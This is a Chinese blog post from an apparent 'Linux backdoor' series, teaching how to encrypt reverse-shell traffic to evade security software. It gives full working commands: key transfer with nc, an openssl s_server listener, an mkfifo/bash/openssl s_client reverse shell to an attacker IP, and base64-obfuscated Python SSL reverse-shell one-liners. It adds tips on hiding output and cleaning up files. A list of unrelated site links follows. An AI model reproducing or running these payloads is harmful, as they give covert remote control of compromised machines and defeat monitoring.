shell 加密传输 | Linux后门系列
之前提到的所有的反弹shell的方法都有一个共同的缺点:明文传输
我们传输的命令不被安全软件拦截才怪
本来我是打算base64编码进行测试的,但是失败了,这里有个问题需要以后去深究,这里仅仅抛出来
nc 192.168.1.38 5555 | bin/bash 可以实现攻击机一条一条执行命令而shell不断
nc 192.168.1.38 5555 | base64 只有在nc连接断掉的时候才会执行
没有搞懂因为什么,所以暂时放弃用管道符来加密nc了
【 openssl 】
ubuntu 16.04 默认自带 openssl ,我们可以使用 openssl 来加密我们的流量,我只是了解 https 工作流程,如何打包,如何传输,但是对于内部使用的算法怎么算的不是很理解,所以今天特意买了两本书看一看,过一段时间就会到了,不过不影响 openssl 加密我们的流量
这次的加密在某一些层面违背了我之前的原则——不新建文件、不安装软件、不装新模块
- 在目标主机找一个比较隐蔽的目录,生成我们的证书公私钥
bash openssl req -x509 -newkey rsa:4096 -keyout .key.pem -out .cert.pem -days 365 -nodes
将这两个文件复制到我们的攻击机上
我一般都喜欢 python3 -m http.server 9000
来开启一个web服务进行下载,但是这样似乎动静太大了,安全软件不干掉我们都对不起他自己
所以我们使用nc 来进行传输
[+] 攻击机
nc -l 5555 > key.pem
[-] 目标主机
nc -q 1 192.168.1.38 5555 < .key.pem
可以看到成功下载到了攻击机
- 攻击机上使用生成的公私钥执行openssl的监听
bash openssl s_server -quiet -key key.pem -cert cert.pem -port 5555
- 目标主机执行加密反弹
bash rm -f /tmp/f ; mkfifo /tmp/f ; /bin/bash -i < /tmp/f 2>&1|openssl s_client -quiet -connect 192.168.1.38:5555 > /tmp/f;rm /tmp/f
可以看到,成功反弹shell(连接的过程时间很长,耐心等待)
打开Wireshark 来进行抓包,看看咱们的流量是不是真的加密了
可以看到使用了 TLSv1.2 传输,加密效果应该是杠杠的!
tips:
- 上面命令还是在目标主机上打印了一些信息,我们可以将命令改为
rm -f /tmp/f ;
mkfifo /tmp/f ; /bin/bash -i < /tmp/f 2>&1|openssl s_client -quiet -connect 192.168.1.38:5555 &> /tmp/f;rm /tmp/f
- 反弹shell过程中,目标主机上生成的公私钥文件传到攻击机后记得删掉,避免多余的麻烦
上面的都是看了网上文章总结出的方法,不过我隐隐约约觉得哪里不对劲,我为什么要在目标主机上生成公私钥再传输到攻击机上???
差点被自己蠢哭,直接在攻击机上生成不就好了???
攻击机上生成公私钥(mac上不能生成空的密钥文件,需要填写数据)
配置监听和反弹shell
成功反弹shell,肯定是最近熬夜多了,脑子不灵光了
【 python3 】
除了 openssl 工具来进行加密连接,我还有其他的招,没错就是 python3 , 既然 python3 可以使用 -c 参数加载任意代码,我们就直接在代码中使用ssl库加密流量就好了
msf 安排上
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMS4zOCcsNTU1NSkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp3Wj1GYWxzZQp3aGlsZSBub3Qgd1o6CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXdaID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1 &
把 python 换成 python3,监听执行一下
可以看到,反弹shell失败了,错误消息都被重定向到 /dev/null 了,我们把它去掉,看看报什么错误
报错原因是 str没有decode这个方法,很明显,是因为 Python 3 中str 对象没有decode方法了,所以我们变型,结合之前我们的 python3 反弹shell的 payload
python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMS4zOCcsNTU1NSkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp3Wj1GYWxzZQp3aGlsZSBub3Qgd1o6CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXdaID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK')))"
继续监听执行
成功反弹shell并执行,抓包看一下
可以看到,传输采用的也是 TLSv1.2
- HDUOJ----2512一卡通大冒险
- HDUOJ------(1230)火星A+B
- nyoj-----前缀式计算
- HDUOJ----(4788)Hard Disk Drive
- NYOJ-------笨蛋难题四
- Win平台Web访问白名单设置脚本(IP安全性原则)
- NYOJ-------表达式求值
- HDUOJ----1181 变形课
- 正确的Win主机网站伪静态设置方法
- HDUOJ----(1084)What Is Your Grade?
- HDUOJ------(1272)小希的迷宫
- HDUOJ ---1269迷宫城堡
- HDUOJ---1213How Many Tables
- hduoj----(1033)Edge
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 使用RBAC Impersonation简化Kubernetes资源访问控制
- 求求你别再用 MySQL offset 和 limit 分页了?
- 短视频带货源码,获取购物车中所有商品列表并加载显示
- 【Flutter 实战】菜单(Menu)功能
- 【Flutter 实战】路由堆栈详解
- 【Flutter 实战】全局监听路由堆栈变化
- 数据挖掘从入门到放弃:线性回归和逻辑回归
- 【Flutter 实战】文件系统目录
- 【原创】Spring Boot终极篇《上》
- 【原创】Spring Boot终极篇《下》
- 面试官:JDK、JRE、JVM 三者什么关系?
- 面试官:什么是面向对象?
- 详解SpringCloud中RabbitMQ消息队列原理及配置,一篇就够!
- 面试官:什么是字节码?它最大的优势是什么?
- 数组转List,一定要小心这个坑!